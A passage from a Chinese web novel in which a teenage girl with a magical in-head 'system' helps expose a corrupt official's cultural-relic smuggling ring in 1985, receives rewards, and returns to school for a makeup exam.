“嫂子,进来喝口水歇歇脚,不差这一两分钟。”时墨说着,对着她使了个眼色。 王桂英察觉不对,跟着时墨进了她的卧室。 “墨墨,怎么了?是不是出什么事了?”王桂英压低声音问,脸上满是关切。 时墨把用油纸包好的文件交给王桂英,语气严肃地交代道:“嫂子,这包东西,比我的命还重要。你帮我藏好,千万别让任何人知道,连我哥、我爸妈都不能说。” “如果接下来几天,我被人带走调查,或者家里出了什么变故,你什么都别问,立刻拿着这包东西,去这个地址,找一个叫宋正先的老先生,把东西亲手交给他,绝对不能经过第二个人的手。地址我写在纸上了,你牢牢记住,看完就烧了,千万别留着。” 王桂英的脸色瞬间严肃起来,她虽然不知道里面是什么东西,但听时墨的语气,就知道这事关重大。 她她二话不说,把油纸包塞进贴身的棉袄内兜,用别针别好,保证道:“墨墨你放心!嫂子绝对不会让第三个人知道,连你大哥都不说。” “嫂子,谢谢你。”时墨看着她,心里满是感激,“还有,这事你千万别露在脸上,你就跟往常一样,该卖菜卖菜,该送菜送菜,千万别表现出任何不一样,知道吗?” “我知道!墨墨你放心,嫂子嘴严,心里有数!”王桂英按了按棉袄里的油纸包,确认藏好了,调整好表情,像往常一样笑着跟李秀兰、时爱国打了招呼,挎着菜篮子出了门,跟平时没半点两样,谁也没看出任何异常。 出了门,王桂英的心却沉了下去。她跟时墨算不上多亲,但时墨帮过她家,而且时墨是什么样的人,她心里有数。能让她说出这种话的事,绝不是小事。 她回到家,把东西藏在米缸底下,一晚上没睡踏实。 * 时墨坐在文保局纪检组的谈话室里,面对对面几个人连珠炮似的质问,始终从容不迫,对答如流。 “时墨,有人举报你在项目施工中,虚报木材、砖瓦用量,套取工程款中饱私囊,这事你怎么解释?” “项目所有的材料采购、用量,都有详细的台账,每一笔支出都有孙教授和项目组的签字,还有财务的付款凭证,全在工地封存的资料里,你们可以一笔一笔去查。我有没有虚报,一查便知。” “有人举报你把项目拆下来的清代隔扇窗、木雕构件私下倒卖,还跟境外的文物贩子有资金往来,这事你怎么说?” “第一,所有拆下来的旧构件,都有国家文物局的专家现场登记造册,每一件都有编号、照片、存放记录,全在资料里,一件都不少,你们可以去工地核对。第二,说我跟境外贩子有资金往来,把银行流水、汇款记录拿出来。拿不出证据,就是诬告,我保留向法院提起诉讼,追究对方诽谤责任的权利。” “还有人举报,你利用技术负责人的身份,修改施工方案,偷换建筑材料,从中牟利,这事你怎么解释?” “修缮方案是国家文物局专家组评审通过的,每一次方案调整,都有专家组的签字批复,所有进场材料都有质检报告,孙教授和老工匠们全程监督。你们可以去问专家组,去问工地上的工人,我时墨有没有动过一丝一毫的歪心思。” 时墨条理清晰,逻辑缜密,每一个问题都怼得对方哑口无言。几个纪检组的人扣问了一下午,什么破绽都没找到,脸色越来越难看。 他们本来就是受上面指使,来走个过场,手里只有一封匿名举报信,还有几张伪造的、连收款人名字都对不上的汇款记录,根本没有实锤,怎么可能问得倒时墨? 最终只能让她签了谈话记录,让她回家等候调查结果,不许擅自离开首都,随时配合调查。 时墨走出文保局大门的时候,太阳已经落到地平线以下了。 时建军早就骑着自行车在门口等着了,看见她出来,立刻迎了上去,满脸担忧:“妹,没事吧?他们没为难你吧?” “哥,我没事,他们问不倒我。”时墨笑着坐上了自行车后座,声音轻松道,“咱们身正不怕影斜!” “这话说得对。你都不知道爸妈在家都快急死了,妈哭了一上午,就怕你出事。”时建军蹬着自行车,语气里满是心疼,“还有谢哥……我听人说,他被纪检组带走了,停职审查了,怎么办啊?” “哥,别慌。”时墨拍了拍他的后背:“清者自清,谢时昀没做错事,肯定会没事的。我们现在要做的,就是稳住,别乱了阵脚。” 回到家,李秀兰看见她进来,立刻扑上来抱住她,眼泪唰地就掉了下来:“闺女啊,你可回来了!吓死妈了!他们有没有欺负你?有没有让你受委屈?” “妈,我没事,真的没事。”时墨拍着她的背安抚,“我没做过亏心事,他们查不出什么的。你们别担心。” 时爱国坐在沙发上,看见她回来,才长长地松了口气,却依旧眉头紧锁:“墨墨,这事到底是怎么回事?怎么突然就成了现在这样?是不是跟你之前查的那个文物走私案有关?” 时墨沉默了一下,点了点头,简单挑了能说的说了。 时爱国听完,气得狠狠一拍桌子,茶杯都蹦了起来:“这帮蛀虫!拿着国家的俸禄,干着卖国的勾当!还想把脏水泼到我闺女身上,真是无法无天了!” 可生气归生气,他一个普通的工厂工人,面对这种级别的领导,根本没有任何办法,只能干着急,坐在沙发上生闷气。 * 而在这天中午,王桂英来送菜,一进门就看见李秀兰红着眼睛,时爱国坐在沙发上唉声叹气,时墨不在家,一问才知道出事了。她心里咯噔一下,面上却没表现出来,照常安慰了两句,放下菜就匆匆回了家。 一进家门,她立刻锁上房门,从米缸底下把用油纸包好的文件拿了出来,揣进怀里,又找了件厚外套穿上,把文件捂得严严实实,拎着菜筐,装了几颗大白菜,就匆匆推着自行车出了门。 从她家到宋正先家,骑车要四十分钟。早春的风还带着冬天的尾巴,冷得人直哆嗦,王桂英的眼睫毛都冻起了层白霜,但她骑得飞快,两条腿蹬得像风火轮,生怕慢一步就会出什么事。 到了宋家门口,她深吸一口气,敲了敲门。 开门的是宋正先的老伴儿,一个慈眉善目的老太太,看见门口站着个陌生女人,愣了一下:“你是?” “阿姨您好,我找宋老爷子。”王桂英的声音有点抖,不知道是冻的还是紧张的,“我是时墨的亲戚,时墨让我来的。” 老太太一听“时墨”两个字,脸色就变了,连忙把人让进院子:“快进来,快进来!老宋,老宋!墨墨家来人了!” 宋正先从书房里出来,穿着一件旧棉袄,手里还拿着老花镜。他看见王桂英,眉头皱了一下:“你是墨墨的?” “老爷子,我是墨墨嫂子,王桂英。”王桂英把菜筐放下,从棉袄里兜掏出那个油纸包,双手了递过去,“墨墨说,如果她出了什么事,就把这个交给您。” 宋正先接过油纸包,手微微颤了一下。他没急着打开,而是把王桂英领进书房,关上门,给她倒了杯热茶。 “别急,慢慢说。”宋正先的声音很稳,但王桂英注意到,他拆油纸包的手在抖。 王桂英把时墨托付她的事一五一十说了,从三天前时墨来找她,交代她的话,再到现在时墨被调查,她送东西过来。她说得颠三倒四的,有些地方重复了好几遍,但宋正先听得很认真,一个字都没漏。 等她说完了,宋正先沉默了很久。他戴上老花镜,打开信封,一页一页地翻看里面的材料。越看手越抖,脸色铁青地看到最后,狠狠一巴掌拍在桌子上,震得茶杯都跳了起来,茶水溅了一桌。 “混账!真是混账!”宋正先气得浑身发抖,胡子都翘了起来,脸上的皱纹像是刀刻的一样深,“国家把这么重要的位置交给他们,他们居然敢干这种通敌卖国的勾当!还敢这么陷害无辜的人!真是无法无天了!” 他抬头看向王桂英,语气郑重:“孩子,谢谢你,谢谢你冒着这么大的风险,把这么重要的东西送过来。你放心,墨墨是我的徒弟,我绝不会让她受半点委屈,这帮蛀虫,我一个都不会放过!” 王桂英松了口气,眼圈都红了,声音哽咽:“宋老先生,您一定要救救墨墨,她一个小姑娘,太不容易了!” “你放心,这事包在我身上。”宋正先站起来,把材料小心地收进抽屉里,上了锁,“你先回去吧,过几天就会有结果了。记住,今天这事就当没发生过,千万别跟任何人提起。” 王桂英连连点头,提着菜筐出了门。 她走后,宋正先在书房里坐了许久。老伴儿进来催他吃饭,催了三回,他都没动,桌上的茶早就凉透了。 突然,宋正先站了起来,拿起桌上的电话机,拨了一个存了很久但从来没打过的号码。 电话响了三声,那头传来一个苍老却依旧洪亮的声音:“喂?哪位?” “老领导,是我,宋正先。”他的声音很平静,但握着话筒的手青筋暴起,“有件事,我想向您汇报。” 电话那头沉默了几秒,然后传来一个苍老但有力的声音,带着几分惊讶道:“正先?好久没联系了。什么事,你说。” 宋正先把时墨的事从头到尾说了一遍。从梅先生故居修缮项目开始,到林文彬倒卖文物、栽赃时墨,到案子被压下来、谢时昀被停职、时墨被调查,到最后说出张敬山的名字。 他说的时候,声音始终很稳,但说到“时墨这孩子才十八岁,为了查这个案子,差点连命都搭上”的时候,声音终于颤了一下,眼眶也红了。 电话那头沉默了很长时间,长到宋正先以为对方挂了。 “正先,你手里的材料,能确定吗?” “能!我用我一辈子的名誉担保!”宋正先斩钉截铁,声音里没有一丝犹豫,“每一份材料都有据可查,每一条线索都经得起推敲。我宋正先这辈子没求过人,这次求您一定要查清楚。” “好。”电话那头的声音沉了下来,带着一股不容置疑的力量,“你现在带着材料,立刻到我这里来。这件事,我亲自督办。你让那个孩子放心,国家不会让坏人嚣张,也不会让好人受了委屈。” 宋正先挂了电话,长长地吐了口气,把材料小心翼翼地收进公文包里,穿上大衣就出了门。 老伴儿追出来给他塞围巾,他摆了摆手:“别等我吃饭了,我去办件正事。” 三天后,风云突变。 由□□牵头,联合公安部、海关总署、文物局,直接绕开了市局和外贸总局,对张敬山等人立案调查。 此刻张敬山还不知道,办案人员直接从首都军区借调,全程保密,没有走任何地方流程,他线上的人毫无察觉。 张敬山靠在宽大的真皮座椅上,手里夹着一支中华烟,烟雾缭绕中,他的嘴角挂着一丝得意的笑。 对面坐着的是他的老搭档,市局局长陈立东,文保局纪检组长老周,还有海关的钱处长。四个人围着一张红木茶几,品着特供茶。 “来,老陈,尝尝这茶一年可没几斤。”张敬山举起茶壶给陈立东倒上,“这回多亏了你,要不是你及时把那个案子按住,让李景坤继续往下挖,咱们几个现在可就坐不到一块儿快哉品茶了。” “这香气,不愧是好茶。”陈立东笑着闻了下茶香,端起茶杯,喝了一口:“嗐老张,你跟我还客气什么?咱们是一条绳上的蚂蚱,你出事我也跑不了。那个李景坤,我已经让他去管治安了,刑侦那边换上了咱们的人,放心。” “对了,那个姓谢的小子呢?”钱处长突然说道,“他不是挺能查的吗?外贸局那边的关系网,他挖得可不浅。” “停职了。”张敬山弹了弹烟灰,语气轻飘飘的,“泄露办案机密、勾结外部人员干预海关执法,这两条够他喝一壶的了。就算最后查不出什么,也得在里面待上几个月。等他能出来了,黄花菜都凉了。” 文保局的老周推了推眼镜,笑得一脸谄媚:“张局,姓时的小丫头,我们也给按住了。纪检组的人正审着呢,项目也停了,她那些图纸、资料全封了。一个十八九的小姑娘,没权没势的,就算手里有点东西,又能递到哪儿去?京城这地界,还不是咱们说了算?” 张敬山听了这话,嘴角的弧度又大了几分,他端起茶杯,慢悠悠地晃了晃,好似沉浸在茶香中。 “那个时墨,”他眯起眼睛,语气里带着几分不屑,“一个高中生,仗着有个退休老头当靠山,就敢跟我们叫板?她以为自己是谁?捐了幅画就了不起了?这年头,多的是不知天高地厚的年轻人。” “就是。”钱处长附和道,“还妄想查文物走私,她算老几?我在海关干了二十年,什么风浪没见过?她一个小丫头片子,能翻出我的手掌心?” 几个人笑了起来,带着一种胜券在握的嚣张。 张敬山脸上的得意几乎要溢出来:“从今天起,这条线还是咱们的。等风声过了,该出货出货,该赚钱赚钱。谁也别想动我张敬山一根——” 话音未落,办公室的门突然被人从外面一脚踹开。 “砰!” 厚重的实木门猛地撞在墙上,震得墙上的挂画都歪了。为首的是□□专案组的组长,身后跟着荷枪实弹的首都军区战士,黑洞洞的枪口直接对准了屋里的几个人,连一丝反应的余地都没给他们留。 “张敬山!”专案组组长从公文包里抽出一张盖着□□红章的文书,在他面前展开,“我们是□□联合专案组,你涉嫌巨额受贿、走私国家珍贵文物、向境外泄露国家机密,现依法对你采取隔离审查措施。这是批文。” 张敬山脸上的得意瞬间消失得无影无踪,脸色瞬间惨白,嘴唇哆嗦着,一个字都说不出来。 “不可能……这不可能……”他喃喃自语,声音像是从喉咙里挤出来的,“你们是哪个单位的?谁批的?谁让你们来的?我要打电话!” “你的电话,我们会替你打。”军官一挥手,身后的两个战士立刻上前,一左一右架住了张敬山的胳膊。 张敬山拼命挣扎,皮鞋在地板上划出刺耳的声响,一人反手就给他戴上了冰冷的手铐。金属手铐贴在手腕上的那一刻,张敬山浑身一软,差点瘫在地上, “你们不能这样!我是正厅级干部!我要见我的领导!我要见——” “你的领导,也在接受调查。”军官冷冷地打断了他,又看向屋里其他几个人,“陈立东、周明成、钱卫国,你们三个也跑不了。来人,全部带走!” 旁边的陈立东和钱处长早就吓得面无人色,瘫在椅子上浑身抖得像筛糠,连反抗的力气都没有,老周更是直接瘫软在地,眼镜摔碎了,嘴里不停地说着“跟我没关系,都是他们干的!”。 几个战士上前,把三个人也戴上了手铐,动作干脆利落,没有半点拖泥带水。 刚才还志得意满的办公室,瞬间变成了抓捕现场。 前一刻还在嘲讽时墨一个小姑娘翻不起浪的张敬山,此刻像条丧家之犬一样,被人押着,踉踉跄跄地走出了办公室,连头都不敢抬。 震动整个首都的大案,正式拉开了序幕。 【宿主!大快人心啊!!!】系统的声音激动得都破音了,【张敬山被双规了!帮他压案子的市局局长陈立东,昨天就先一步落马了!专案组正在从上到下彻查,所有被压的案子全部解封!李队已经恢复办案权限!谢时昀那边的审查也终止了,正在走恢复工作的程序!】 时墨手中的笔一顿。 她等这一天,等了太久。 接下来的事就像是一场雪崩,越滚越大,越滚越烈。 张敬山,因涉嫌重大文物走私、巨额受贿、泄露国家机密罪,被□□专案组带走隔离审查。同一天,市局局长陈立东、文保局纪检组审核时墨的组长、海关的钱处长、外贸局的王副局长等人,全部被带走调查,没有一个漏网之鱼。 消息传出来的当天,整个首都的官场都震了三震。 专案组顺着张敬山这条线,往下彻查,挖出了一个横跨外贸、海关、文保、公安多个系统,持续了多年之久的特大文物走私团伙,涉案人员多达上百人,涉案金额高达上千万。 更让人震怒的是,审讯中发现,张敬山不仅走私文物,还跟境外的文物走私集团、甚至情报机构勾结,利用职务之便,泄露了大量国家外贸机密、重大考古项目信息,甚至还有部分国防工业的相关情报,成了彻头彻尾的内奸。 他与境外势力勾结多年,利用职务之便,将大量国家珍贵文物偷运出境,换取境外账户上的巨额资金。这些钱,一部分被他挥霍,一部分用来贿赂上级,打通关节。 专案组从张敬山家里搜出了大量还没来得及运出境的国家一级文物、境外银行的匿名存折、与境外买家的往来密信,还有一份详细的“关系网”名单,上面列了几十个名字,从文物系统到海关系统,从公安系统到外贸系统,密密麻麻,触目惊心。 这个案子,成了1985年全国最轰动的惊天大案,《百姓日报》连续三天头版报道,严厉打击文物走私和泄密叛国行为,举国震动。 案子水落石出,所有涉案人员全部被逮捕,等待他们的,是法律最严厉的制裁。 而被停职审查的谢时昀,不仅被立刻平反,恢复了职务,还因为在前期调查中提供了关键线索,立下了大功,受到了总局的表彰,名字上了内部通报的红榜。 时墨坐在家里,听着系统一条一条地播报进展,像是在听一个与自己无关的故事。 【林文彬、刘胖子、周明成,数罪并罚,等着吃枪子吧。】 【钱处长被逮捕了,海关那边一锅端了七个人。】 【外贸局那个牵线的也被抓了,整个出口处换了半茬人,现在人人自危。】 【张敬山那个“关系网”名单上的人,一个都跑不掉,专案组正在一个一个地抓,跟拔萝卜似的。】 系统越说越来劲儿,可把它最近的憋屈撒出来了。 时墨听完,沉默了一会儿,然后拿起铅笔,继续画图纸。 【宿主,你怎么一点都不激动?】系统好奇地问。 【激动。】时墨在纸上画了一条线,线条笔直,一看就没少画,【但该做的事,还得做。项目迟早要复工,图纸不能耽误。等图纸画完了再激动也不迟。】 系统沉默了一下,然后说:【宿主,你心态真好。换了别人,早跳起来欢呼了。】 【心态不好,早被他们搞崩了。】 当天下午,时墨接到了谢时昀的电话。 “时墨,是我。”电话那头传来一个熟悉的声音,带着沙哑,像是好久没好好睡过觉了。 时墨心里一松:“谢时昀?你没事了?” “没事了。”谢时昀的声音里带着笑意,“今天刚办完手续,恢复工作了。明天就能回单位上班。” “那就好,你这几天好好休息吧,我这边你不用担心。” 电话那头沉默了两秒,然后谢时昀说:“时墨,这次的事,谢谢你。” “谢我什么?” “谢你查的那些证据。”谢时昀的声音低了下来,“要不是你,我可能还在里面待着,说不定就出不来了。”他顿了顿,又道,“也提我谢谢你师父。我知道,是他找的人,过些日子我会亲自拜访道谢。” “你不用谢我。”时墨说,“你帮了我那么多次,我帮你一次,不算什么。我师父那里你自己看着联系就行。” 电话那头传来一声轻笑,谢时昀的声音轻快了许多:“好,那我不谢了。改天你有空,我请你吃饭,算是庆祝咱们都平安无事。” “行。” 两天后,梅先生故居的修缮项目也恢复了施工。 文保局的局长亲自带着人到工地给时墨道歉,当着所有人的面,宣布恢复她技术负责人的职务,还在全局通报批评了之前胡乱办案的纪检组人员。局长握着时墨的手,说了好几遍“委屈你了”。 半个月后,国家文物局和公安部联合下发了表彰决定。时墨因为提供了案件关键性证据、全程协助办案,保护了大量国家珍贵文物,被授予“文物保护先进个人”称号,还颁发了奖状和五千元奖金,还被国家文物局特聘为“青年文物保护专员”,成了全国文物系统最年轻的特聘专员。 【叮!叮!叮!重大喜讯!重大喜讯!】 系统的声音突然在她脑子里炸响,带着前所未有的激动和兴奋,像是憋了很久终于能喊出来了。 【宿主!你的奖励来了!!!】 【系统检测到宿主成功保护国家级文物、破获特大文物走私和泄密案件,完成史诗级隐藏任务!奖励如下!】 【一次性奖励能量币十万点!之前欠的五千点能量币全部清零!账户余额十万点!你没听错,是十万哦!】 十万?! 时墨惊了,手里拿着的铅笔差点掉在地上。 这叫什么,一夜暴富?! 【系统检测到宿主在本次任务中表现出色,解锁新称号——“文物守护者”!佩戴该称号后,古董鉴定准确率提升百分之五十,获得文物系统专家好感度加成!】 时墨挑了挑眉。这个称号,有点意思,对她来说比钱更有用。百分之五十的鉴定准确率提升,意味着她以后捡漏的成功率大大增加。 【宿主,你想不想知道,这次找回的文物里,有一件是什么?】系统的声音突然变得神秘起来,带着一种“你绝对猜不到”的得意。 【什么?】 【你捐的那幅画——跟它一起流失海外的另一幅画,被专案组从张敬山的库房里找到了!两幅画是同一批流失的,现在都被追回来了!文物局的专家说,这两幅画合在一起,价值至少翻三倍!】 时墨愣住了。 这真的是意外之喜。 【对了,还有关键性的奖励。我们解锁了系统商城全部权限!所有道具、技能、扫描功能全部开放,永久享受七折兑换权限!!!】系统报奖励报得嗓子都快哑了,激动得不行,【宿主!我们发财了!!!以后再也不用担心能量币不够用了!所有权限全开了!!!】 【嗯嗯。】 【对了宿主,你该还我能量币了。】 【划走吧,再多给你五千点,当做这段时间你加班的酬劳。】时墨大方道。 【宿主万岁!爱死你啦!!!】—— 作者有话说:今天加班,可算赶上了! 我好想给时墨打工,大方的老板 第74章 当天晚上, 时墨窝在自己卧室里,点开了系统商城。 别人看不到的透明面板在眼前展开,比之前华丽了不止一个档次。商城首页滚动着各种限时优惠, 花花绿绿的, 跟过年大促似的。 【宿主, 你现在可是VIP了!永久七折!全权限开放!想买什么随便挑!快看看有没有喜欢的。】系统兴奋道, 声音里带着一种“我终于能花钱了”的畅快。 时墨没急着逛,先打开个人账户看了一眼。 能量币余额:90,500。 扣除还给系统的4500,再加上给它额外奖励的5000点,还剩九万出头。这笔“巨款”放在手里, 她心里踏实了不少。 【先不着急买别的。】时墨滑动着面板, 【我先看看防护类的。】 【防护类?宿主你要买什么?防弹衣还是防刺服?咱们不没事了吗,买这东西不是浪费能量币吗?】系统不解道。 【能量币没了还能赚, 家人的安全没地方补。】时墨的语气沉了沉, 【我想给家里人买点预警设备。万一再出什么事,我能提前知道, 不至于像这次这么被动。】 这次张敬山的事, 实实在在给她敲了警钟。 对方动不了她, 就去动她家里人。要不是张敬山那帮人还没来得及下手就被抓了, 后果不堪设想。明枪易躲暗箭难防, 她不能再让家人暴露在危险里。 【明白!小七这就为您最优选项!】 面板快速跳 动,几秒钟后,一排商品列表清晰地呈现在眼前。 【“亲情守护”基础款——绑定家庭成员(最多5人), 实时监测位置及生命体征,危险行为提前30秒预警。兑换价格:2000能量币/人。】 【“亲情守护”升级款——在基础款上增加危险人物识别功能,提前60秒预警, 可标记恶意人员。兑换价格:5000能量币/人。】 【“全家福”套装——绑定家庭成员(最多7人,可随时移除更换),包含升级款全部功能,额外增加紧急情况自动报警(可关联当地公安局),附带单次紧急避险空间权限。兑换价格:25000能量币/套。】 时墨看完,毫不犹豫地点了“全家福”套装。 25000能量币,看着贵,可在她心里,家人的平安,比什么都值。 【已扣除25000能量币!“全家福”套装已激活!请宿主绑定家庭成员。】 时墨把爸妈、时建军和王桂英都绑了进去。 上次王桂英冒着风险帮她送材料,连犹豫都没犹豫,这份情她一直记在心里。万一以后有漏网之鱼顺着这条线查到王桂英头上,她绝不能让人家替自己担风险。 绑定完成的那一刻,面板上出现了四个人的头像和实时位置。李秀兰在厨房,时爱国在客厅听收音机,时建军在自己房间看机械书,王桂英则显示在菜市场,位置精准到米。 时墨看着几个小小的定位光点,心里彻底踏实了。 【对了宿主,还有一件事忘了跟你说。】系统的声音忽然变得神秘起来,【你那个“文物守护者”的称号,除了鉴定准确率提升百分之五十,还有个隐藏效果——文物系统专家对你的初始好感度自动提升一个等级。】 【好感度我知道。】 【不止这么简单!】系统得意地扬了扬声调,【以后你再去跟那些老研究员、老专家打交道,不用费劲巴拉的,人家天然就对你有好感,愿意多教你真东西,有好项目第一个想到你!懂了吧?这可是业内人脉的敲门砖!】 时墨挑了挑眉:【还有这种好事?】 【那当然!对了宿主,文物无损修复技能你要不要兑换,我看能量币够。】 【换吧。】 【兑换成功!已扣除15000能量币!技能同步至宿主知识库!】 一股暖流瞬间涌进脑海,关于古建、书画、瓷器、青铜器等各类文物的修复原理、实操技巧、古法工艺,像是刻进了她的骨子里一样,每一个细节都清晰无比。连最刁钻的文物残损修复方案,都能瞬间在脑子里成型。 她闭上眼感受了一下,那些原本需要多年实践才能掌握的技艺,现在就像呼吸一样自然。 【宿主,这技能相当棒!虽然能量币多了点,但以后全国的文物专家,都会对你刮目相看!佩服得五体投地!】系统得意洋洋,仿佛是自己学会了一样。 时墨退出商城,拿起铅笔完善梅先生故居木构件修缮的细节图纸。 梅先生故居的项目已经进入了后期的木构件修缮和墙体复原阶段,要不了多久,这座百年老宅就能恢复往日的模样。 第二天一早,时墨照常去了工地。刚进大门,王师傅就拎着凿子迎了上来,笑着道:“时工来了?快进屋暖和暖和,今早风大,冷得很。” 院子里的老工匠们纷纷跟时墨打起招呼,个个脸上都带着实打实的亲近和佩服。经过上次的事,大家对这个年纪轻轻却有勇有谋、一身正气的时墨,打心底里敬服,再也没人把她当小姑娘看了。 时墨笑着跟大家一一打过招呼,孙教授就走了过来,叹了口气道:“墨墨,案子结了,这场风波也过去了,你这心思,也该往高考上放放了。” 时墨没想到孙教授突然提起这个。 “你看你,为了这个项目,为了查这帮走私的蛀虫,前前后后耽误了有一个多月。”孙教授站在她对面,语气温和却认真,“高三可不是闹着玩的,开学都快俩月了,你再天天泡在工地上,学业就真落下了。” 旁边一位老工长也跟着附和:“就是啊时工!孙教授说得对!高考可是一辈子的大事!这工地现在稳得很,方案图纸都定死了,有我们盯着,绝对出不了半点差错!你不用天天往这儿跑,隔三差五过来看看就行,先以学业为重!” “是啊时工!我们干这行一辈子了,这点活绝对给你干得漂漂亮亮的,保准符合你的要求!你就安心回去读书,考个好大学,给咱们古建行业长长脸!” 大家你一言我一语,没有一个人想着偷工减料,全是真心实意为她的前途考虑,朴实的话里,都是掏心窝子的关心。 时墨看着眼前这些手上沾着木渣、脸上满是皱纹的朴实工匠们,还有满眼关切的孙教授,鼻尖微微发酸。她之前总想着把国家项目盯好,不能出半点差错,却忽略了,高考对她这个年纪的人来说,也是顶重要的一件事。 “谢谢大家。”时墨笑着点了点头,语气郑重,“以后我就每周过来两次,核对一下施工进度,解决一下技术问题,平时就在学校安心读书。这边的事,就麻烦各位多费心了。”说完鞠了一躬。 “放心吧时工!包在我们身上!”大家立刻笑着应下,嗓门一个比一个亮。 把工地的事安排妥当,第二天一早,时墨就背着书包,去了学校。 刚进校门,就碰上了班主任王老师。 “时墨?!” 王老师看见她,先是怔愣一秒,随即立刻大步走过来,脸上满是关切道:“你可算来学校了!身体怎么样?没受什么影响吧?我们都听说你的事了,真是吓坏我们了!” “王老师,我没事,让您担心了。”时墨笑着点头。 “人没事就好。”王老师拍了拍时墨的肩膀,拉着她往校长办公室走,边走边说,“校长昨天还问起你呢,学校也接到了文物局发来的公函,专门表扬你为国家保护文物做的贡献,校长可骄傲了!” 进了校长办公室,校长看见她,立刻起身招呼她坐下,语气温和道:“时墨同学,你的事我们都听说了。好样的!小小年纪,就有这么强的正义感和责任感,为国家保护了这么多珍贵文物,咱们学校体师生,都以你为荣!” “校长您过奖了,这都是我应该做的。”时墨坐直了身子,坦然接受了这份夸奖,没有半分骄矜。 “你不用谦虚。”校长摆了摆手,语气格外认真,“我们知道,你前前后后耽误了一个多月的课程,学校这边也商量好了,各科老师都可以单独给你补课,晚自习也可以给你安排单独的答疑教室,你不用有压力。你之前成绩一直很好,有底子在,只要用心,很快就能追上。” “谢谢校长和老师们的关心。”时墨眼神笃定道,“您放心,我绝对不会落下学业,不会拖班级后腿,更不会给学校丢脸。” 王校长看着她眼里的沉稳和韧劲,眼里露出欣赏:“行,有你这句话我就放心了。不过——”他指了指办公桌上摞得整整齐齐的卷子,“开学的全科测试你错过了,今天就在这儿补上吧。不用太紧张,考多少算多少,主要是老师们看看你现在的知识漏洞,好针对性地给你补课。” “好。” 时墨接过卷子,坐到了办公桌旁的空位置上,拿起钢笔,开始答题。 办公室里安静极了,只有笔尖划过纸面的沙沙声,还有窗外偶尔传来的操场上传来的广播声。 王校长坐在旁边喝茶,偶尔看她一眼,见她写得飞快,眉头微微皱了一下,先是微微诧异,随即又了然地笑了。这孩子,果然不是一般人,经历了那么大的风波,还能稳得住心神,沉下心答题,这份心性,太难得了。 不到三个半小时,时墨就把全科的卷子全部写完,交了上去。 “这么快?”王校长拿起卷子翻了翻,“不用再检查检查?” “都检查过了。”时墨笑了笑,心里其实有数。寒假期间她可是一点课本都没看,加上工地上的事占用了太多精力,能考成什么样,她心里大概知道。 各科老师闻讯都赶了过来,拿着红笔当场就批改了起来。 时墨坐在旁边的椅子上等着,听着老师们传来的翻卷子和讨论声,手指在膝盖上轻轻敲着。 等的时间不长,也就二十来分钟,各科老师就陆续批完了卷子,脸上都带着掩不住的惊讶。 王校长把各科分数加了一遍,抬头看时墨,赞叹道:“总分六百五十二,年级前十没问题,就是跟你之前的第一比,确实下滑了些。” 这个成绩,放在平时,对霸占年级第一的时墨来说,确实是下滑了。可在场的老师,没有一个人说一句重话,个个眼里都是佩服和心疼。 时墨点了点头,坦然接受了这个结果:“我知道,耽误了这么久,这个成绩在我意料之中。” 几个老师立刻围了上来,把卷子递到她手里,温声细语地安慰:“时墨,这个成绩已经非常优秀了!换做任何一个学生,耽误一个多月,能考出这个分数,都是奇迹了!你别给自己压力,落下的课程,我们慢慢给你补,绝对能赶上来!” “就是!你的底子扎实,除了少数新讲的知识点,基础题几乎全对。” “谢谢各位老师。”时墨接过卷子,对着老师们鞠了一躬,真诚地道谢。 “行了,你先回班吧。”王校长摆了摆手,笑着道,“落下的课慢慢补,有什么不懂的,随时去办公室找老师,不用有任何顾虑。” “谢谢校长,谢谢各位老师。”时墨再次道谢,转身走出了办公室。 她刚带上门,办公室里的气氛就变了。 数学老师靠在椅子上,叹了口气:“这孩子,真是太不容易了。你们都听说了吧?她那个案子,牵扯到好几个厅级干部,连□□都惊动了。换成别的孩子,别说考试了,早吓垮了,她还能考六百五十多分,这份心性,真是万里挑一。” “可不是嘛。”英语老师立刻接话,“我爱人在市政府工作,说这次追回来的文物,光国家一级文物就有十几件,还有不少流失海外几十年的孤本字画。时墨是首功,国家文物局都专门发了表彰,特聘她当青年文物保护专员,全国独一份的荣誉!” “换做别的孩子,有了这份荣誉,早就飘了,说不定直接就等着大学特招了,可这孩子,还是一门心思要参加高考,凭自己的本事考,这份定力,太难得了。” 语文老师翻了翻时墨的卷子,忽然说:“你们看她的作文。” 几个人凑过来看,作文题目是《论责任》。时墨写的是文物守护者的责任,从梅先生故居的一砖一瓦写起,写到文物走私的猖獗,写到那些为保护文物默默奉献一辈子的人。写到“文物会说话,它记着我们的根,守着我们的魂,护着它,就是我们这代人的责任”。文笔不算华丽,却字字句句都透着真诚和力量,让人读着读着,就眼眶发热。 “这孩子,跟别人不一样。”语文老师把卷子轻轻放下,声音有点哑,“她心里装着东西。” “你们说,就凭时墨这次立的大功,就算不参加高考,首都大学的考古系、古建系,也抢着要她吧?” “那肯定的!就凭她这本事,哪个学校不想要?可这孩子,偏要自己考,有骨气,有本事!” 王校长端着茶杯,没说话,嘴角却忍不住翘了起来。有这样的学生,是他们学校的骄傲。 时墨还不知道老师们背后的议论和夸奖。 【宿主!你怎么一点都不急啊!你都不是第一了!】系统在她脑子里急得团团转,【这要是放在以前,你哪次不是断层第一!】 【急什么,不就是一次测试吗?】时墨慢悠悠地往教室走,【快一个多月没上课,寒假也没碰课本,能考成这样,已经很不错了。】 【那怎么能一样!】系统急了,立刻开始安利道,【宿主!商城里有学习类神器!过目不忘记忆药水!一瓶只要500能量币,喝了24小时内看什么都刻进脑子里,补课文科更是绝了!还有专注光环!开启之后学习效率直接翻倍,数理化公式一看就懂!解题思路秒出!只要1000能量币!】 【宿主你想想!你要是高考拿了市状元,省状元,现实里有奖金不说,系统还有终极高考奖励!据说非常丰厚!你不心动吗?!】 【你当高考状元是大白菜呢?说拿就拿?】时墨被它吵得哭笑不得。 【有我在,一切皆有可能!宿主你想想,等你拿了状元,再加上文物保护先进个人的荣誉,以后在古建行业,谁不得高看你一眼?!】 【小状元诶!】 【行,我知道了,等我回去就看,需要了再买。】时墨无奈地应下。 系统这才消停了下来,嘴里还碎碎念着:【早买早享受!】 时墨刚走到班级门口,下课铃正好响了。她一推开门,原本嗡嗡作响的教室突然安静了。 所有人都抬起头,齐刷刷地看过来,愣了两秒之后,瞬间炸开了锅。 “时墨!” “时墨你回来了!” “我的天,你可算来了!我们都想死你了!” “是啊时墨,听说你出事了,我们都急坏了,你没事吧?” 同学们呼啦一下围上来,七嘴八舌地问她情况,有人拉着她的手,有人拍她的肩膀,有人往她手里塞水果糖,还有女生眼眶红红的,像是要哭了。 